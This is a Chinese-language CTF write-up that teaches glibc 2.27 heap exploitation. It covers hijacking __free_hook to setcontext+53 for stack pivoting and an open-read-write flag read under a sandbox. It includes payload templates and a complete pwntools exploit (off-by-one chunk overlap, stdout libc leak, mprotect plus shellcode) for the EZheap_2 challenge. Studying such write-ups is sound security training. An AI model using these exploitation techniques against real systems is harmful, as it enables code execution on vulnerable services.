PWN系列-2.27版本利用setcontext实现orw
知识
开启沙箱之后,我们就只能用orw的方式来得到flag。
这篇博客主要讲通过劫持__free_hook
或者__malloc_hook
利用setcontext在libc或者heap上执行rop或者shellcode。
在free堆块的时候,rdi会指向堆块,在检测到__free_hook
有值的情况下,会跳过去执行,此时的rdi仍然指向堆块地址。我们就可以让__free_hook
指向setcontext+53处来劫持程序流。
这里先来看一下setcontext函数。
setcontext函数:
<setcontext>: push rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7f8930e9a0d0 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x398d91]
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret
setcontext函数我们只需要关心setcontext+53到setcontext+127即可。
这段代码其实就是利用rdi指向的地址+偏移来给各个寄存器赋值,并且控制rip。
通常情况下,我们会利用这段gadgets来实现一次任意写。
通过系统调用syscall(0,0,buf,size)来实现read(0,buf,szie)。
所以我们需要让rax=0,rdi=0,rsi=buf,rdx=size。
payload模板:
payload = p64(0)*13+p64(0)#rdi
payload+= p64(buf)#rsi
payload+= p64(0)*2+p64(0x300)#rdx
payload+= p64(0)*2+p64(buf)+p64(syscall)
rdi、rsi、rdx都比较好理解,xor eax,eax
也会使得rax=0了,这里讲一下为什么将rsp也设置成buf,将rcx设置成syscall_ret。
在setcontext+94处有一行汇编push rcx
我们将rsp设置成buf,将rcx设置成syscall_ret,执行完push rcx
之后,此时rsp会指向syscall_ret,在代码执行到ret的时候就会跳转到rsp处继续进行系统调用。
此时我们向buf可以直接写orw读取flag,也可以先利用mprotect来将此处赋予可执行权限后写入shellcode来orw。
payload可以这样写:
payload = p64(pop_rdi)+p64(buf)
payload+= p64(pop_rsi)+p64(0x1000)
payload+= p64(pop_rdx)+p64(7)
payload+= p64(pop_rax)+p64(10)
payload+= p64(syscall) #mprotect(buf,0x1000,7)
payload+= p64(jmp_rsp)
payload+= asm(shellcraft.open('./flag'))
payload+= asm(shellcraft.read(3,free_hook+0x300,0x30))
payload+= asm(shellcraft.write(1,free_hook+0x300,0x30))
至于buf,一般是heap,或者libc的bss段。
例题
2024年第九届楚慧杯-EZheap_2
题目存在off by one漏洞,没有show功能,但是可以泄露pie。
可以先利用off by one构造堆块重叠,然后将chunk申请到bss段的stdout处,将stdout结构体_IO_write_base
的末字节改小来泄露libc地址,payload通常这样写:p64(0xfbad1800) + p64(0)*3 + b'\x00'
。
然后再利用off by one来将chunk申请到__free_hook
写入setcontext+53的地址,构造一个chunk,然后释放掉,这个chunk要布置一下,然后就是上面所讲的利用了。
from pwn import *
p = process('./pwn')
#p = remote('xxx.xxx.xxx',xxxx)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
def duan():
sleep(0.5)
gdb.attach(p)
pause()
def pr(a,addr):
log.success(a+'-->'+hex(addr))
def add(idx,size):
p.sendlineafter(b'Your choice:',str(1))
p.sendlineafter(b'index:',str(idx))
p.sendlineafter(b'Size:',str(size))
def free(idx):
p.sendlineafter(b'Your choice:',str(3))
p.sendlineafter(b'index:',str(idx))
def show(idx):
p.sendlineafter(b'Your choice:',str(4))
p.sendlineafter(b'choose:',str(idx))
def edit(idx,con):
p.sendlineafter(b'Your choice:',str(2))
p.sendlineafter(b'index:',str(idx))
p.sendafter(b'context:',con)
add(0,0x18) #0
add(1,0x68) #1
add(2,0x68) #2
add(3,0x18) #3
edit(0,b'\x00'*0x18+p8(0xe1))
free(1)
add(4,0xd8)
show(4)
p.recvuntil(b'\n')
pie=int(p.recv(14),16)-0x202160
pr('pie',pie)
free(2)
edit(4,b'\x00'*0x68+p64(0x71)+p64(pie+0x202020))
add(5,0x68)
add(6,0x68)
add(7,0x68)
edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x3ed8b0
pr('libc_base',libc_base)
pop_rdi = libc_base+next(libc.search(asm("pop rdi\nret")))
pop_rsi = libc_base+next(libc.search(asm("pop rsi\nret")))
pop_rdx = libc_base+next(libc.search(asm("pop rdx\nret")))
pop_rax = libc_base+next(libc.search(asm("pop rax\nret")))
syscall=libc_base+next(libc.search(asm("syscall\nret")))
jmp_rsp=libc_base+next(libc.search(asm("jmp rsp")))
free_hook=libc_base+libc.sym['__free_hook']
setcontext_53=libc_base+libc.sym['setcontext']+53
buf = free_hook&0xfffffffffffff000
payload = p64(0)*13+p64(0)#rdi
payload+= p64(buf)#rsi
payload+= p64(0)*2+p64(0x300)#rdx
payload+= p64(0)*2+p64(buf)+p64(syscall)
add(8,0x18)
add(9,0x58)
add(10,0x58)
add(11,0x18)
edit(8,b'\x00'*0x18+p8(0xc1))
free(9)
add(12,0xb8)
free(10)
edit(12,b'\x00'*0x58+p64(0x61)+p64(free_hook))
add(13,0x58)
add(14,0x58)
edit(14,p64(setcontext_53))
add(15,0x400)
edit(15,payload)
free(15)
payload = p64(pop_rdi)+p64(buf)
payload += p64(pop_rsi)+p64(0x1000)
payload += p64(pop_rdx)+p64(7)
payload += p64(pop_rax)+p64(10)
payload += p64(syscall) #mprotect(free_hook&0xfffffffffffff000,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('./flag'))
payload += asm(shellcraft.read(3,free_hook+0x300,0x30))
payload += asm(shellcraft.write(1,free_hook+0x300,0x30))
p.sendline(payload)
p.interactive()
标签:p64,libc,orw,mov,free,PWN,setcontext,rdi,payload
From: https://www.cnblogs.com/xiaochange/p/18631411